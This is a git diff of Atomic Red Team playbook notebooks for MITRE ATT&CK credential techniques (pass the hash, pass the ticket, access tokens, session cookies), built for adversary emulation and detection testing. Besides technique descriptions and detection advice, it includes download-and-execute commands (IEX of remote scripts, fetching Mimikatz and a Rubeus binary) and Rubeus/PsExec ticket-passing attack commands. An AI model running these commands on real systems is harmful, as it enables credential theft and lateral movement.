Account Authentication Roles) In Exchange Online, the `ApplicationImpersonation` role allows a service account to use the permissions associated with specified user accounts.(Citation: Microsoft Impersonation and EWS in Exchange) \n\nMany cloud environments also include mechanisms for users to pass roles to resources that allow them to perform tasks and authenticate to other services. While the user that creates the resource does not directly assume the role they pass to it, they may still be able to take advantage of the role's access -- for example, by configuring the resource to perform certain actions with the permissions it has been granted. In AWS, users with the `PassRole` permission can allow a service they create to assume a given role, while in GCP, users with the `iam.serviceAccountUser` role can attach a service account to a resource.(Citation: AWS PassRole)(Citation: Google Cloud Service Account Authentication Roles)\n\nWhile users require specific role assignments in order to use any of these features, cloud administrators may misconfigure permissions. This could result in escalation paths that allow adversaries to gain access to resources beyond what was originally intended.(Citation: Rhino Google Cloud Privilege Escalation)(Citation: Rhino Security Labs AWS Privilege Escalation)\n\n**Note:** this technique is distinct from [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003), which involves assigning permanent roles to accounts rather than abusing existing permissions structures to gain temporarily elevated access to resources. However, adversaries that compromise a sufficiently privileged account may grant another account they control [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) that would allow them to also abuse these features. This may also allow for greater stealth than would be had by directly using the highly privileged account, especially when logs do not clarify when role impersonation is taking place.(Citation: CrowdStrike StellarParticle January 2022)" + }, + { + "cell_type": "markdown", + "id": "60256e95", + "metadata": {}, + "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1548.ipynb b/playbook/tactics/defense-evasion/T1548.ipynb index 1c2d509e..877c49b6 100644 --- a/playbook/tactics/defense-evasion/T1548.ipynb +++ b/playbook/tactics/defense-evasion/T1548.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "c72b60b1", + "id": "7ff94242", "metadata": {}, "source": "# T1548 - Abuse Elevation Control Mechanism\nAdversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system." }, { "cell_type": "markdown", - "id": "fb5662d1", + "id": "4febaf03", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "ba4b9ab9", + "id": "754e38a4", "metadata": {}, "source": "## Detection\nMonitor the file system for files that have the setuid or setgid bits set. Also look for any process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).\n\nConsider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.\n\nOn Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.\n\nThere are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. Analysts should monitor Registry settings for unauthorized changes." }, { "cell_type": "markdown", - "id": "502b9e05", + "id": "728c2220", "metadata": {}, "source": "\n## Shield Active Defense\n### Security Controls \n Alter security controls to make the system more or less vulnerable to attack. \n\n Manipulating security controls involves making configuration changes to the security settings of a system including things like modifying Group Policies, disabling/enabling autorun for removable media, and tightening or relaxing system firewalls, etc.\n#### Opportunity\nThere is an opportunity to use security controls on systems in order to affect the success of an adversary.\n#### Use Case\nA defender could use a host-based tool in order to have an effect on the success of an adversary abusing elevation control mechanisms.\n#### Procedures\nWeaken security controls on a system to allow for leaking of credentials via network connection poisoning.\nImplement policies on a system to prevent the insecure storage of passwords in the registry. This may force an adversary to revert these changes or find another way to access cached credentials.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1550.001.ipynb b/playbook/tactics/defense-evasion/T1550.001.ipynb index 0de3a0cc..60dae379 100644 --- a/playbook/tactics/defense-evasion/T1550.001.ipynb +++ b/playbook/tactics/defense-evasion/T1550.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "477d6af4", + "id": "dd891419", "metadata": {}, - "source": "# T1550.001 - Application Access Token\nAdversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) \n\nIn AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured \u2013 for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)\n\nOAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow." + "source": "# T1550.001 - Application Access Token\nAdversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) \n\nOAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured \u2013 for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)\n\nDirect API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. For example, in AWS environments, an adversary who compromises a user\u2019s AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence) Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow." }, { "cell_type": "markdown", - "id": "679a922a", + "id": "7cf8cbfe", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "c5a9089f", + "id": "29fc8ae3", "metadata": {}, "source": "## Detection\nMonitor access token activity for abnormal use and permissions granted to unusual or suspicious applications and APIs. Additionally, administrators should review logs for calls to the AWS Security Token Service (STS) and usage of GCP service accounts in order to identify anomalous actions.(Citation: AWS Logging IAM Calls)(Citation: GCP Monitoring Service Account Usage)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1550.002.ipynb b/playbook/tactics/defense-evasion/T1550.002.ipynb index dff76b9a..f14925d5 100644 --- a/playbook/tactics/defense-evasion/T1550.002.ipynb +++ b/playbook/tactics/defense-evasion/T1550.002.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "33193545", + "id": "329b2313", "metadata": {}, "source": "# T1550.002 - Pass the Hash\nAdversaries may \u201cpass the hash\u201d using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.\n\nWhen performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.\n\nAdversaries may also use stolen password hashes to \"overpass the hash.\" Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)" }, { "cell_type": "markdown", - "id": "05362bda", + "id": "a7f26103", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "7b500b48", + "id": "5513e822", "metadata": {}, "source": "### Atomic Test #1 - Mimikatz Pass the Hash\nNote: must dump hashes first\n[Reference](https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth)\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})\n\n##### Check Prereq Commands:\n```cmd\n$mimikatz_path = cmd /c echo %tmp%\\mimikatz\\x64\\mimikatz.exe\nif (Test-Path $mimikatz_path) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo %tmp%\\mimikatz\\x64\\mimikatz.exe\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "673a8ac4", + "id": "4f100077", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1550.002 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "286e88a7", + "id": "1e16fa7c", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "5f65bc4e", + "id": "33e8543d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1550.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "b32b8f76", + "id": "3d9b6b06", "metadata": {}, "source": "### Atomic Test #2 - crackmapexec Pass the Hash\ncommand execute with crackmapexec\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: CrackMapExec executor must exist on disk at specified location (#{crackmapexec_exe})\n\n##### Check Prereq Commands:\n```cmd\nif(Test-Path C:\\CrackMapExecWin\\crackmapexec.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nWrite-Host Automated installer not implemented yet, please install crackmapexec manually at this location: C:\\CrackMapExecWin\\crackmapexec.exe\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "88c7b733", + "id": "b8dd9c1b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1550.002 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "4551a99d", + "id": "822b0d4e", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -69,14 +69,14 @@ { "cell_type": "code", "execution_count": null, - "id": "5d6204df", + "id": "a8679f08", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1550.002 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "51927622", + "id": "6481f948", "metadata": {}, "source": [ "### Atomic Test #3 - Invoke-WMIExec Pass the Hash", @@ -89,14 +89,14 @@ { "cell_type": "code", "execution_count": null, - "id": "6a38c8fb", + "id": "98525dbf", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1550.002 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "277ef70d", + "id": "a1b6799f", "metadata": {}, "source": "## Detection\nAudit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.\n\nEvent ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash)" } @@ -104,13 +104,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1550.003.ipynb b/playbook/tactics/defense-evasion/T1550.003.ipynb index 0bf0a1f8..4cb6e2d1 100644 --- a/playbook/tactics/defense-evasion/T1550.003.ipynb +++ b/playbook/tactics/defense-evasion/T1550.003.ipynb @@ -2,81 +2,81 @@ "cells": [ { "cell_type": "markdown", - "id": "d2be5ba8", + "id": "68da3e64", "metadata": {}, "source": "# T1550.003 - Pass the Ticket\nAdversaries may \u201cpass the ticket\u201d using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nWhen preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)\n\nA [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)\n\nA [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)\n\nAdversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, \"overpassing the hash\" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)" }, { "cell_type": "markdown", - "id": "52b15d5b", + "id": "4a0be976", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "4e9e32e7", + "id": "b484427e", "metadata": {}, - "source": "### Atomic Test #1 - Mimikatz Kerberos Ticket Attack\nSimilar to PTH, but attacking Kerberos\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Mimikatz must exist on disk at specified location (#{mimikatz_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1550.003\\bin\\x64\\mimikatz.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$basePath = Split-Path PathToAtomicsFolder\\T1550.003\\bin\\x64\\mimikatz.exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n\n```" + "source": "### Atomic Test #1 - Mimikatz Kerberos Ticket Attack\nSimilar to PTH, but attacking Kerberos\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Mimikatz must exist on disk at specified location (#{mimikatz_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\bin\\x64\\mimikatz.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$basePath = Split-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\bin\\x64\\mimikatz.exe\" | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "8de5fcaf", + "id": "9df274fc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1550.003 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "17f311aa", + "id": "42e3c94f", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nPathToAtomicsFolder\\T1550.003\\bin\\x64\\mimikatz.exe \"kerberos::ptt None\"\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\bin\\x64\\mimikatz.exe\" \"kerberos::ptt None\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "58fb5352", + "id": "4f4c65b6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1550.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "5e2d1ec6", + "id": "d12d1729", "metadata": {}, - "source": "### Atomic Test #2 - Rubeus Kerberos Pass The Ticket\nRequesting a TGT on a remote system and retrieving it locally before requesting a service ticket with it. This is a Pass-The-Ticket attack because the TGT is obtained on the remote system, then used from a different machine (local).\nPsExec is used to execute commands on the remote system, and the \"C$\" admin share is used to retrieve the TGT, so the current user must have admin rights remotely and other PsExec prerequisites must be met.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Rubeus must exist on disk at specified location (#{rubeus_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $Env:TEMP\\rubeus.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-Webrequest -Uri https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe -OutFile $Env:TEMP\\rubeus.exe\n\n```\n##### Description: PsExec must exist on disk at specified location (#{psexec_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path C:\\PSTools\\PsExec.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"https://download.sysinternals.com/files/PSTools.zip\" -OutFile \"$env:TEMP\\PsTools.zip\"\nExpand-Archive $env:TEMP\\PsTools.zip $env:TEMP\\PsTools -Force\nNew-Item -ItemType Directory (Split-Path \"C:\\PSTools\\PsExec.exe\") -Force | Out-Null\nCopy-Item $env:TEMP\\PsTools\\PsExec.exe \"C:\\PSTools\\PsExec.exe\" -Force\n\n```" + "source": "### Atomic Test #2 - Rubeus Kerberos Pass The Ticket\nRequesting a TGT on a remote system and retrieving it locally before requesting a service ticket with it. This is a Pass-The-Ticket attack because the TGT is obtained on the remote system, then used from a different machine (local).\nPsExec is used to execute commands on the remote system, and the \"C$\" admin share is used to retrieve the TGT, so the current user must have admin rights remotely and other PsExec prerequisites must be met.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Rubeus must exist on disk at \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus.exe\"\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-Webrequest -Uri https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus.exe\"\n\n```\n##### Description: PsExec must exist on disk at \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\"\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"https://download.sysinternals.com/files/PSTools.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools.zip\"\nExpand-Archive \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools.zip\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools\" -Force\nNew-Item -ItemType Directory (Split-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\") -Force | Out-Null\nCopy-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools\\PsExec.exe\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "242930f9", + "id": "d7ffa445", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1550.003 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "c6e52348", + "id": "f49d75e9", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nC:\\PSTools\\PsExec.exe -accepteula \\\\localhost -w c:\\ -c $Env:TEMP\\rubeus.exe asktgt /user:Administrator /password:Password /domain:$Env:USERDOMAIN /outfile:ticket.kirbi\nSet-Location $env:TEMP\nMove-Item -Force \"\\\\localhost\\c$\\ticket.kirbi\" ticket.kirbi\nWrite-Host \"Successfully retrieved TGT from 'localhost', now requesting a TGS from local\"\n& \"$Env:TEMP\\rubeus.exe\" asktgs /service:cifs/localhost /ticket:ticket.kirbi /ptt\nRemove-Item $env:TEMP\\ticket.kirbi\n& \"$Env:TEMP\\rubeus.exe\" purge \n```" + "```powershell\n& \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" -accepteula \\\\localhost -w c:\\ -c \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus.exe\" asktgt /user:Administrator /password:Password /domain:$Env:USERDOMAIN /outfile:ticket.kirbi\nSet-Location \"PathToAtomicsFolder\\..\\ExternalPayloads\"\nMove-Item -Force \"\\\\localhost\\c$\\ticket.kirbi\" ticket.kirbi\nWrite-Host \"Successfully retrieved TGT from 'localhost', now requesting a TGS from local\"\n& \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus.exe\" asktgs /service:cifs/localhost /ticket:ticket.kirbi /ptt\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\ticket.kirbi\"\n& \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus.exe\" purge ```" ] }, { "cell_type": "code", "execution_count": null, - "id": "730ab418", + "id": "9283c9aa", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1550.003 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "6fa8f04f", + "id": "be10e57e", "metadata": {}, "source": "## Detection\nAudit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket.(Citation: CERT-EU Golden Ticket Protection)" } @@ -84,13 +84,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1550.004.ipynb b/playbook/tactics/defense-evasion/T1550.004.ipynb index 8abcde5f..7cb84bf7 100644 --- a/playbook/tactics/defense-evasion/T1550.004.ipynb +++ b/playbook/tactics/defense-evasion/T1550.004.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "87e1f75c", + "id": "c73c1cdf", "metadata": {}, "source": "# T1550.004 - Web Session Cookie\nAdversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)" }, { "cell_type": "markdown", - "id": "5b211291", + "id": "1c85e06c", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "4a31f031", + "id": "d55a76b3", "metadata": {}, "source": "## Detection\nMonitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1550.ipynb b/playbook/tactics/defense-evasion/T1550.ipynb index 9ffb5df4..d3a9c306 100644 --- a/playbook/tactics/defense-evasion/T1550.ipynb +++ b/playbook/tactics/defense-evasion/T1550.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "a6a9d58e", + "id": "ccf4d762", "metadata": {}, "source": "# T1550 - Use Alternate Authentication Material\nAdversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. \n\nAuthentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is 